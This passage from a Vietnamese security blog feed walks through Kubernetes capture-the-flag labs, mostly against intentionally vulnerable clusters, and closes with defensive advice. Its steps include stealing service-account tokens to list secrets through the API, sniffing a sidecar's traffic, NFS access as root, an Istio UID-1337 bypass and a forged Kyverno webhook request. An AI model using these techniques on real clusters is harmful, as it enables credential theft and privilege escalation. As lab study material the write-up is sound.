  <li>Bật Pod Security Admission/Kyverno/Gatekeeper để chặn:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">hostPath</code> mount <code class="language-plaintext highlighter-rouge">/</code></li>
      <li><code class="language-plaintext highlighter-rouge">hostNetwork: true</code></li>
      <li><code class="language-plaintext highlighter-rouge">privileged: true</code></li>
      <li>pod chạy root không cần thiết</li>
    </ul>
  </li>
  <li>Audit API Server cho các hành vi:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">get/list secrets</code> trong <code class="language-plaintext highlighter-rouge">kube-system</code></li>
      <li><code class="language-plaintext highlighter-rouge">describe/get secret *-token-*</code></li>
      <li>tạo pod mới có <code class="language-plaintext highlighter-rouge">hostPath</code></li>
      <li><code class="language-plaintext highlighter-rouge">kubectl exec</code> bất thường</li>
    </ul>
  </li>
  <li>Falco/Tetragon rule nên chú ý:
    <ul>
      <li>Process trong container đọc <code class="language-plaintext highlighter-rouge">/run/secrets/kubernetes.io/serviceaccount/token</code>.</li>
      <li>Container mount host root filesystem.</li>
      <li>Shell được spawn trong container ứng dụng.</li>
    </ul>
  </li>
</ul>

<h3 id="16-takeaway">16. Takeaway</h3>

<p>Unobtainium là ví dụ hay hơn SteamCloud cho phần <strong>leo thang đặc quyền theo chuỗi RBAC</strong>. Attacker không có quyền admin ngay từ đầu, nhưng bằng cách đọc token trong pod, kiểm tra quyền theo từng namespace, pivot sang pod khác và lạm dụng quyền đọc secrets trong <code class="language-plaintext highlighter-rouge">kube-system</code>, cuối cùng vẫn lấy được token admin và tạo pod mount filesystem host.</p>

<h2 id="kết-thúc">Kết thúc</h2>

<p>Thì đây là các bài lab mà tui học được trong quá trình tìm hiểu về kĩ thuật khai thác leo thang đặc quyền trên K8s , thì chủ yếu đều khai thác do misconfig và lỗi RBAC cấp quyền quá rộng. Qua đó có thể thấy rằng nếu trong môi trường thực tế , các lỗ hổng đôi khi không đến từ các zero-day mà đến từ bản thân con người. Hôm nay tới đây thui, hẹn các bạn ở bài sắp tới !!!!.</p>]]></content><author><name>Phuc Quan</name><email>quan610ll@gmail.com</email></author><category term="Security-Research" /><category term="Kubernetes" /><category term="Security" /><category term="HTB" /><category term="THM" /><summary type="html"><![CDATA[Lab THM Frank and Herby try again…..]]></summary></entry><entry><title type="html">Thực hành và nghiên cứu các kĩ thuật tấn công Kubernetes</title><link href="https://phucquan.github.io/security-research/2026/05/23/thuc-hanh-va-nghien-cuu-cac-ki-thuat-tan-cong/" rel="alternate" type="text/html" title="Thực hành và nghiên cứu các kĩ thuật tấn công Kubernetes" /><published>2026-05-23T17:00:00+00:00</published><updated>2026-05-23T17:00:00+00:00</updated><id>https://phucquan.github.io/security-research/2026/05/23/thuc-hanh-va-nghien-cuu-cac-ki-thuat-tan-cong</id><content type="html" xml:base="https://phucquan.github.io/security-research/2026/05/23/thuc-hanh-va-nghien-cuu-cac-ki-thuat-tan-cong/"><![CDATA[<h1 id="buổi-1--học-trên-kubernetesgoat">Buổi 1 : Học trên KubernetesGoat</h1>

<h2 id="dựng-cluster-bằng-kind">Dựng cluster bằng Kind</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.31.0/kind-linux-amd64
chmod +x ./kind
sudo mv ./kind /usr/local/bin/kind
kind version
</code></pre></div></div>

<p>Cài kubectl</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt install -y kubernetes-client
kubectl version --client
</code></pre></div></div>

<p>Tạo cluster</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kind create cluster --name goat
kubectl get nodes
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260520151056.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520151147.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat
chmod +x setup-kubernetes-goat.sh access-kubernetes-goat.sh
bash setup-kubernetes-goat.sh
kubectl get pods
bash access-kubernetes-goat.sh
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260520151812.png" alt="" /></p>

<h2 id="bài-1--gaining-enviroment-information">Bài 1 : Gaining enviroment information</h2>

<p>Bài đầu tiên là enum để tìm ra các cred của hệ thống</p>

<p> Hầu hết các phiên bản điện toán khi chạy ứng dụng đều lưu trữ thông tin nhạy cảm như secrets, api_keys, v.v. trong các biến môi trường. Tương tự, trong Kubernetes, hầu hết mọi người lưu trữ thông tin nhạy cảm như Kubernetes Secrets và các giá trị Config trong các biến môi trường và nếu kẻ tấn công có thể tìm thấy các lỗ hổng ứng dụng như RCE (thực thi mã từ xa) hoặc chèn lệnh thì bí mật đó sẽ bị lộ.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520152145.png" alt="" /></p>

<p>Trước tiên thì t enum bằng các lệnh cơ bản</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520152345.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>oot@system-monitor-deployment-866f697c75-67qj4:/# env
KUBERNETES_SERVICE_PORT_HTTPS=443
SYSTEM_MONITOR_SERVICE_SERVICE_PORT=8080
BUILD_CODE_SERVICE_PORT_3000_TCP_PROTO=tcp
KUBERNETES_GOAT_HOME_SERVICE_SERVICE_PORT=80
KUBERNETES_SERVICE_PORT=443
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP_PORT=80
HOSTNAME=system-monitor-deployment-866f697c75-67qj4
BUILD_CODE_SERVICE_PORT=tcp://10.96.99.17:3000
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_ADDR=10.96.59.36
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP=tcp://10.96.59.36:8080
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP=tcp://10.96.78.20:5000
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_PROTO=tcp
HEALTH_CHECK_SERVICE_PORT_80_TCP=tcp://10.96.17.194:80
BUILD_CODE_SERVICE_PORT_3000_TCP_PORT=3000
INTERNAL_PROXY_INFO_APP_SERVICE_PORT=tcp://10.96.78.20:5000
POOR_REGISTRY_SERVICE_PORT_5000_TCP_ADDR=10.96.58.92
HEALTH_CHECK_SERVICE_PORT_80_TCP_ADDR=10.96.17.194
INTERNAL_PROXY_API_SERVICE_PORT=tcp://10.96.185.85:3000
PWD=/
K8S_GOAT_VAULT_KEY=k8s-goat-cd2da27224591da2b48ef83826a8a6c3
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_ADDR=10.96.78.20
HEALTH_CHECK_SERVICE_PORT=tcp://10.96.17.194:80
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP=tcp://10.96.139.85:80
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP_PROTO=tcp
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_PORT=8080
POOR_REGISTRY_SERVICE_SERVICE_PORT=5000
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_PROTO=tcp
POOR_REGISTRY_SERVICE_PORT_5000_TCP_PROTO=tcp
HOME=/root
BUILD_CODE_SERVICE_SERVICE_PORT=3000
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
LS_COLORS=
POOR_REGISTRY_SERVICE_PORT_5000_TCP_PORT=5000
INTERNAL_PROXY_INFO_APP_SERVICE_SERVICE_PORT=5000
HEALTH_CHECK_SERVICE_PORT_80_TCP_PROTO=tcp
INTERNAL_PROXY_INFO_APP_SERVICE_SERVICE_HOST=10.96.78.20
HEALTH_CHECK_SERVICE_SERVICE_HOST=10.96.17.194
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_PORT=5000
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_PROTO=tcp
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_PORT=3000
BUILD_CODE_SERVICE_PORT_3000_TCP_ADDR=10.96.99.17
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_ADDR=10.96.185.85
SYSTEM_MONITOR_SERVICE_PORT=tcp://10.96.59.36:8080
SHLVL=1
BUILD_CODE_SERVICE_SERVICE_HOST=10.96.99.17
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
HEALTH_CHECK_SERVICE_PORT_80_TCP_PORT=80
INTERNAL_PROXY_API_SERVICE_SERVICE_PORT=3000
SYSTEM_MONITOR_SERVICE_SERVICE_HOST=10.96.59.36
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP=tcp://10.96.185.85:3000
KUBERNETES_GOAT_HOME_SERVICE_SERVICE_HOST=10.96.139.85
KUBERNETES_SERVICE_HOST=10.96.0.1
INTERNAL_PROXY_API_SERVICE_SERVICE_HOST=10.96.185.85
KUBERNETES_GOAT_HOME_SERVICE_PORT=tcp://10.96.139.85:80
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
BUILD_CODE_SERVICE_PORT_3000_TCP=tcp://10.96.99.17:3000
HEALTH_CHECK_SERVICE_SERVICE_PORT=80
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP_ADDR=10.96.139.85
POOR_REGISTRY_SERVICE_SERVICE_HOST=10.96.58.92
POOR_REGISTRY_SERVICE_PORT_5000_TCP=tcp://10.96.58.92:5000
POOR_REGISTRY_SERVICE_PORT=tcp://10.96.58.92:5000
_=/usr/bin/env
</code></pre></div></div>

<ul>
  <li>Mình đang là root <strong>trong container</strong>, chưa có nghĩa là root của node.</li>
  <li>Pod hiện tại: system-monitor-deployment-866f697c75-67qj4.</li>
  <li>Kubernetes API server: 10.96.0.1:443 hoặc DNS kubernetes.default.svc.</li>
  <li>Có nhiều service nội bộ: build-code, internal-proxy, poor-registry, health-check.</li>
  <li>
    <p>Có một secret lộ ngay trong env:</p>

    <p><code class="language-plaintext highlighter-rouge">K8S_GOAT_VAULT_KEY=k8s-goat-cd2da27224591da2b48ef83826a8a6c3</code></p>
  </li>
</ul>

<p><img src="/assets/images/posts/Pasted%20image%2020260520152824.png" alt="" /></p>

<p>Đây có vẻ là flag của bài</p>
<ul>
  <li>
    <p>Có thư mục đáng nghi:</p>

    <p><code class="language-plaintext highlighter-rouge">/host-system</code>
<img src="/assets/images/posts/Pasted%20image%2020260520153006.png" alt="" /></p>
  </li>
</ul>

<p>Pod này có service account token được mount có namespace là default</p>

<p>-&gt; Từ trong container này , ta có thể dùng identity của SA được gắn cho pod này.</p>

<p>Chúng ta có thể khám phá container bằng cách chạy các lệnh khác nhau để có thể enum để có thể hiểu hơn về hệ thống</p>

<p>Chúng ta có thể get the container runtime bằng cách chạy những lệnh sau</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat /proc/self/cgroup
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260520154719.png" alt="" /></p>

<p>Get the information of the container host</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat /etc/hosts/
</code></pre></div></div>

<p>Get the mount information</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mount
</code></pre></div></div>

<p> Access the environment variables, including Kubernetes secrets mounted and service names, ports, etc</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>printenv
</code></pre></div></div>

<p>Chúng ta qua bài tiếp theo là</p>

<h3 id="k8s-namespace-bypass">K8s namespace bypass</h3>

<p><img src="/assets/images/posts/Pasted%20image%2020260520160125.png" alt="" /></p>

<p>Đây là một quan niệm sai lầm lớn trong thế giới Kubernetes. Hầu hết mọi người cho rằng khi có các namespace khác nhau trong Kubernetes và các tài nguyên được triển khai và quản lý, chúng sẽ an toàn và không thể truy cập lẫn nhau</p>

<p>Theo mặc định K8S sử dụng lược đồ mạng phẳng , có nghĩa là các pod/service trong 1 cluster có thể nói chuyện với nhau. Mà namespace ở trong cluster không có sự hạn chế bảo mật mạng theo mặt định. Anyone ở trong namespace đều có thể nói chuyện với namespacce khác . Trong trường hợp sau đây thì chúng ta có thể bypass namespace để có thể truy cập tài nguyen của namespace khác</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520164929.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520165306.png" alt="" /></p>

<p>truy cập vào bài lab</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520165313.png" alt="" /></p>

<p>Đầu tiên chúng ta cần phải hiểu về thông tin địa chỉ IP của cluster để có thể tiến hành recon quét các dãy mạng của cluster</p>

<p>Một số lệnh cơ bản để có thể xem là : ip route , ifconfig , printenv,…</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520165627.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520170058.png" alt="" /></p>

<p>Pod IP: 10.244.0.15
Pod CIDR route: 10.244.0.0/24
Kubernetes DNS: 10.96.0.10
Service network thấy qua env: 10.96.x.x
DNS search: default.svc.cluster.local svc.cluster.local cluster.local</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520171048.png" alt="" /></p>

<p>RBAC đã chặn ko cho t đọc service rồi</p>

<p>Vì bài gợi ý “Kubernetes-Goat loves cache”, ta nghi có cache service. Cache thường là Redis hoặc Memcached. Redis dùng port 6379.</p>

<p>zmap mặc định <strong>blacklist private ranges</strong>, trong đó có 10.0.0.0/8, nên nó tự chặn không cho scan. Vì vậy bạn bỏ đoạn đó và scan redis port để tìm được dãy mạng của redis
<img src="/assets/images/posts/Pasted%20image%2020260520175958.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520180054.png" alt="" /></p>

<ol>
  <li>Ngoài scan IP, Kubernetes còn hỗ trợ DNS service theo dạng:</li>
</ol>

<p><code class="language-plaintext highlighter-rouge">&lt;service-name&gt;.&lt;namespace&gt;.svc.cluster.local</code></p>

<p>nên ta phân giải được tên miền chứng tỏ rằng  từ pod namespace default, bạn có thể resolve được service ở namespace secure-middleware. Giờ test port Redis:</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520175226.png" alt="" /></p>

<ul>
  <li>Namespace default và secure-middleware khác nhau.</li>
  <li>Nhưng pod hacker-container vẫn truy cập được Redis service namespace khác.</li>
  <li>Lý do: Kubernetes mặc định flat network, namespace không tự tạo network isolation.</li>
  <li>Cách phòng thủ: dùng <strong>NetworkPolicy</strong>, auth cho Redis/cache, không tin “internal only”.</li>
</ul>

<h3 id="rbac-least-privileges-misconfiguration">RBAC least privileges misconfiguration</h3>

<p><img src="/assets/images/posts/Pasted%20image%2020260520182649.png" alt="" /></p>

<p>Trong thực tế, chúng ta thường thấy các nhà phát triển và nhóm DevOps cấp quyền dựa trên tư  duy mặc định cho tất cả vì nghĩ rằng nó sẽ tiện lợi , tức là cấp quyền  nhiều hơn mức cần thiết. Điều này dẫn đến việc kẻ tấn công có được nhiều quyền kiểm soát và đặc quyền vượt ngoài phạm vị mà họ dự định.</p>

<p>Mục tiêu bài này là 
Dùng service account trong pod để gọi Kubernetes API
Lợi dụng RBAC quá rộng
Đọc secret k8svaultapikey
Lấy k8s_goat_flag</p>

<p>Trước khi vào bài thì tui muốn nói sơ về khái niệm về ServiceAccount cũng như RBAC</p>

<p><strong>1. Xác định service account token</strong></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520183200.png" alt="" /></p>

<p><strong>2. Set biến để gọi API server</strong></p>

<p>export APISERVER=https://${KUBERNETES_SERVICE_HOST}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260520183500.png" alt="" /></p>

<p><strong>3. Recon quyền bằng REST API</strong></p>

<p>List secret trong namespace hiện tại:</p>

<p><code class="language-plaintext highlighter-rouge">curl --cacert $CACERT -H "Authorization: Bearer $TOKEN" \ $APISERVER/api/v1/namespaces/$NAMESPACE/secrets</code></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520183859.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520183930.png" alt="" /></p>

<p>Decode ra thì lấy được flag</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520183947.png" alt="" /></p>

<ol>
  <li><strong>Pod có Kubernetes identity riêng</strong><br />
 Pod thường được gắn một <strong>ServiceAccount</strong>. Token của ServiceAccount nằm trong:</li>
</ol>

<p><code class="language-plaintext highlighter-rouge">/var/run/secrets/kubernetes.io/serviceaccount/</code></p>

<ol>
  <li><strong>Có shell trong pod là có thể gọi Kubernetes API</strong><br />
 Nếu attacker có RCE/shell trong container, họ có thể lấy token đó rồi gọi API server:</li>
</ol>

<p><code class="language-plaintext highlighter-rouge">https://${KUBERNETES_SERVICE_HOST}</code></p>

<ol>
  <li>
    <p><strong>RBAC quyết định pod được làm gì trong cluster</strong><br />
 Token không tự nguy hiểm nếu RBAC chặt. Nhưng nếu ServiceAccount được cấp quyền quá rộng, attacker có thể list/get tài nguyên nhạy cảm.</p>
  </li>
  <li>
    <p><strong>Secret trong Kubernetes chỉ an toàn nếu quyền đọc được kiểm soát tốt</strong><br />
 Trong bài này, ServiceAccount đáng lẽ chỉ cần quyền với webhookapikey, nhưng lại đọc được cả vaultapikey.</p>
  </li>
  <li>
    <p><strong>Least privilege rất quan trọng</strong><br />
 Đây là lỗi thực tế hay gặp: DevOps cấp quyền “cho tiện”, ví dụ get/list secrets, rồi một pod bị compromise có thể biến thành credential theft trong cluster.</p>
  </li>
</ol>

<h2 id="buổi-2--k8s-lan-party">Buổi 2 : K8s Lan Party</h2>

<p><img src="/assets/images/posts/Pasted%20image%2020260523150131.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523150204.png" alt="" /></p>

<p>Đến với bài đầu tiên thì t sẽ làm 1 chall về Recon , thì như bạn nào đã từng làm các bài lab về leo thang thì việc đầu tiên để có thể leo thang được thì chúng ta cần phải recon hoặc enum để có thêm 1 vài attack surfaces , nó giúp ích cho chúng ta trong các bước nâng cao đặc quyền tiếp theo .</p>

<p>Trong bài lab này , khi mà t đã compomise vào 1 Pod trong K8s , và bước tiếp theo là muốn khám phá thêm các internal service để có  thể mở rộng phạm vi leo thang.</p>

<p>Thông thường K8s , các service thường liên lạc với nhau qua DNS nội bộ.</p>

<p>Hai loại thành phần chính của Kubernetes mà bạn sẽ quan tâm nhất khi muốn tấn công các ứng dụng khác có thể truy cập được trên mạng trong cụm là <a href="https://kubernetes.io/docs/concepts/workloads/pods/">pod</a> và <a href="https://kubernetes.io/docs/concepts/services-networking/service/">service</a> .</p>

<p>Pod là các nhóm gồm một hoặc nhiều container đang chạy, và đây là nơi các ứng dụng mạng nội bộ mà bạn muốn tấn công sẽ hoạt động. Mỗi Pod có địa chỉ IP internal cluster được liên kết với chúng, và có một hoặc nhiều cổng mạng được công khai mà bạn có thể sử dụng để giao tiếp với các ứng dụng mạng.</p>

<p>Các service là những cách thức thân thiện để hiển thị các ứng dụng đang chạy trên một hoặc nhiều pod. Chúng cũng có địa chỉ IP của cluster và một hoặc nhiều cổng được hiển thị, cũng như nhiều bản ghi DNS liên kết được cấu hình trong trình phân giải DNS của cụm. Việc truy cập ứng dụng bằng dịch vụ so với truy cập trực tiếp vào pod thường tương tự nhau, tuy nhiên các service  có thêm các tính năng khám phá có thể hữu ích cho chúng ta.</p>

<p>Địa chỉ IP được sử dụng cho các pod thường nằm trong một dải mạng riêng biệt, khác với địa chỉ IP của các dịch vụ.</p>

<p>Giờ chúng ta đã xác định được những gì mình cần tìm, hãy cùng xem xét một số phương pháp có thể sử dụng để xác định các thành phần này.</p>

<p>Đầu tiên chúng ta sẽ kiểm tra các biến môi trường , chúng thường chứa địa  chỉ  ip ,port của các  service khác trong cluster  .</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523152812.png" alt="" /></p>

<p>Ngoài ra bạn có thể lấy địa chỉ IP của cụm là các tệp <code class="language-plaintext highlighter-rouge">/etc/hosts</code>(cung cấp địa chỉ IP cục bộ của pod, mà bạn cũng có thể lấy từ các lệnh <code class="language-plaintext highlighter-rouge">ip</code>hoặc <code class="language-plaintext highlighter-rouge">ifconfig</code>) và <code class="language-plaintext highlighter-rouge">/etc/resolv.conf</code>(cung cấp địa chỉ máy chủ DNS của cụm và các miền tìm kiếm DNS, từ đó suy ra namespace của pod).</p>

<p>Ngoài ra bạn cũng có thể lấy các SA token của pod hoặc ra tìm các namespace của pod đang chạy . https://thegreycorner.com/2023/12/13/kubernetes-internal-service-discovery.html#kubernetes-dns-to-the-partial-rescue</p>

<p>Tiếp tục với bài này thì chúng ta có thể sử dụng 1 cái tool dnscan https://gist.github.com/nirohfeld/c596898673ead369cb8992d97a1c764e để có thể quét</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523153737.png" alt="" /></p>

<p>Khi chúng ta kiểm tra bằng env thì có thể thấy rằng  IP của API server của K8s là 10.100.0.1 port là 443</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523154220.png" alt="" /></p>

<p>kết quả <strong>Hostname:</strong> <code class="language-plaintext highlighter-rouge">getflag-service.k8s-lan-party.svc.cluster.local.</code></p>

<p>Cái tên <strong>“getflag-service”</strong> chính là nơi chứa Flag hoặc mã để vượt qua thử thách này.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523154415.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523154614.png" alt="" /></p>

<p>Tới phần tiếp theo là phần finding neighbour</p>

<p>Thì theo như mình tìm hiểu sidecar container là một container chạy “kèm” theo container chính trong cùng một Pod.</p>
<ul>
  <li><strong>Mục đích:</strong> Nó không thực hiện logic chính của ứng dụng mà cung cấp các dịch vụ hỗ trợ như: ghi log, giám sát, hoặc <strong>bảo mật</strong></li>
</ul>

<p>Vì các container nằm trong cùng một <strong>Kubernetes Pod</strong> sẽ dùng chung một <strong>network namespace</strong>, chúng sẽ chia sẻ hoàn toàn giao diện mạng (network interfaces), loopback adapter (localhost) và địa chỉ IP với nhau.</p>

<p>Nếu có một container khác đang chạy ngầm ngay bên cạnh bạn trong Pod này, mọi dữ liệu mạng mà nó gửi hoặc nhận với các dịch vụ nội bộ đều có thể xem từ chính container của bạn.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tcpdump -A
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260523155633.png" alt="" /></p>

<p>Và đây là flag</p>

<p>Hãy đảm bảo rằng giao tiếp giữa các Pod luôn được mã hóa. Cách đơn giản nhất để bắt đầu mã hóa giao tiếp giữa các Pod là sử dụng <a href="https://www.techtarget.com/searchitoperations/definition/service-mesh">service mesh</a> .</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523155755.png" alt="" /></p>

<p>giao thức này ra đời từ thời kỳ mà kiểm soát truy cập (access control) chỉ dựa vào mạng ,nghĩa l à mình ko cần xác thực bằng thông tin  đăng nhập . Tui tham khảo trên mạng thì nghĩ ngay tới NFS , hoặc AWS EFS</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523160134.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523160237.png" alt="" /></p>

<p>Dùng công cụ NFS Client để “bypass” quyền</p>

<p>Trong môi trường này có sẵn công cụ <code class="language-plaintext highlighter-rouge">nfs-ls</code> và <code class="language-plaintext highlighter-rouge">nfs-cat</code> (thuộc bộ <code class="language-plaintext highlighter-rouge">libnfs</code>). Giao thức NFSv4 cho phép chúng ta truyền tham số <code class="language-plaintext highlighter-rouge">uid=0</code> (Root) và <code class="language-plaintext highlighter-rouge">gid=0</code> trực tiếp qua chuỗi kết nối để ép server nhận diện mình là Root</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523160608.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523160648.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: istio-get-flag
  namespace: k8s-lan-party
spec:
  action: DENY
  selector:
    matchLabels:
      app: "{flag-pod-name}"
  rules:
  - from:
    - source:
        namespaces: ["k8s-lan-party"]
    to:
    - operation:
        methods: ["POST", "GET"]
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260523160933.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523161000.png" alt="" /></p>

<p>https://pulsesecurity.co.nz/advisories/istio-egress-bypass?source=post_page—–c773190e9246—————————————</p>

<p>Phương pháp bỏ qua này cho phép bất kỳ người dùng nào có userID 1337 đều có thể bypass bộ lọc proxy của Istio, từ đó kích hoạt chính sách ủy quyền. May mắn thay, lần này chúng ta là người dùng root trong hệ thống, nghĩa là chúng ta có thể tạo một người dùng khác và đặt userID là 1337.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523161337.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523161517.png" alt="" /></p>

<p>Đầu tiên chạy dns scan</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523161701.png" alt="" /></p>

<p>Kyverno là công cụ quản lý chính sách (Policy Engine) dành riêng cho Kubernetes, giúp bạn xác thực, chỉnh sửa và khởi tạo tài nguyên bằng ngôn ngữ <strong>YAML</strong> quen thuộc. Thay vì học ngôn ngữ phức tạp, Kyverno cho phép đội ngũ DevOps tự động hóa việc bảo mật và chuẩn hóa cấu hình cluster một cách đơn giản, hiệu quả và cực kỳ gọn nhẹ.</p>

<p>Dựa trên chall chính sách này đang thực hiện tính năng <strong>Mutation</strong>: tự động chèn giá trị bí mật (secret) vào biến môi trường <code class="language-plaintext highlighter-rouge">FLAG</code> cho bất kỳ Pod nào được tạo trong namespac</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: apply-flag-to-env
  namespace: sensitive-ns
spec:
  rules:
    - name: inject-env-vars
      match:
        resources:
          kinds:
            - Pod
      mutate:
        patchStrategicMerge:
          spec:
            containers:
              - name: "*"
                env:
                  - name: FLAG
                    value: "{flag}"
</code></pre></div></div>

<p>Vì tôi mình biết về admission controllers and mutating webhooks, nên mình ngay lập tức hiểu được kỳ vọng. Dưới đây là sơ đồ mô tả cách thức hoạt động.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523162159.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat &lt;&lt;EOF &gt; pod.json
{
  "kind": "AdmissionReview",
  "apiVersion": "admission.k8s.io/v1",
  "request": {
    "uid": "00000000-0000-0000-0000-000000000000",
    "kind": {
      "group": "",
      "version": "v1",
      "kind": "Pod"
    },
    "resource": {
      "group": "",
      "version": "v1",
      "resource": "pods"
    },
    "subResource": "",
    "requestKind": {
      "group": "",
      "version": "v1",
      "kind": "Pod"
    },
    "requestResource": {
      "group": "",
      "version": "v1",
      "resource": "pods"
    },
    "requestSubResource": "",
    "name": "sensitive-pod",
    "namespace": "sensitive-ns",
    "operation": "CREATE",
    "userInfo": {
      "username": "kubernetes-admin",
      "groups": [
        "system:masters",
        "system:authenticated"
      ]
    },
    "object": {
      "apiVersion": "v1",
      "kind": "Pod",
      "metadata": {
        "name": "sensitive-pod",
        "namespace": "sensitive-ns",
        "labels": {
          "app": "nginx"
        }
      },
      "spec": {
        "containers": [
          {
            "name": "nginx",
            "image": "nginx:latest"
          }
        ]
      }
    },
    "oldObject": null,
    "dryRun": false,
    "options": {
      "kind": "CreateOptions",
      "apiVersion": "meta.k8s.io/v1"
    }
  }
}
EOF
</code></pre></div></div>

<p>Bước 2: Gửi request đến Kyverno Webhook</p>

<p>Bây giờ cấu trúc đã chuẩn hóa, bạn chạy lệnh <code class="language-plaintext highlighter-rouge">curl</code> này để ép Kyverno trả flag</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -X POST -H "Content-Type: application/json" --data @pod.json https://kyverno-svc.kyverno/mutate -k
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260523162910.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523162740.png" alt="" /></p>

<p>Trong cụm Kubernetes này, quản trị viên dùng <strong>Kyverno</strong> để tự động hóa một việc:</p>

<ul>
  <li>Họ cài một chính sách (Policy) quy định: <em>“Bất kỳ ai tạo một Pod (vùng chứa ứng dụng) nằm trong namespace tên là <code class="language-plaintext highlighter-rouge">sensitive-ns</code>, Kyverno sẽ tự động chèn thêm một biến môi trường chứa Flag bí mật vào Pod đó”</em>.</li>
</ul>

<p>Thông thường, người dùng muốn lấy Flag thì phải có quyền dùng lệnh <code class="language-plaintext highlighter-rouge">kubectl</code> để tạo một Pod thật trong namespace <code class="language-plaintext highlighter-rouge">sensitive-ns</code>, sau đó vào Pod đó để đọc biến môi trường. Nhưng ở đây, bạn <strong>không có quyền</strong> tạo Pod thật.</p>

